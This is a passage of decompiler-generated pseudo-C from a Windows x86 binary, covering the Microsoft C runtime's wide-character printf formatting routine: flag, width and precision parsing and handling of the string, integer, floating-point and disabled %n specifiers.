													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C3D0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C804))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043C910( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43c8d0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C894))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041ACE0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xf2632e26
																			E00424550(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xf2d1ae26
																					E00424550(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xf2c8ae26
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428360(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACE0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041ACE0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00428360(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00428360(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00428360(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00428360(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428380(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428380(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
																	__eax = E00433F00();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E210();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																		__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACB0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428360(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428380(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428380(_t674 + 0x14);
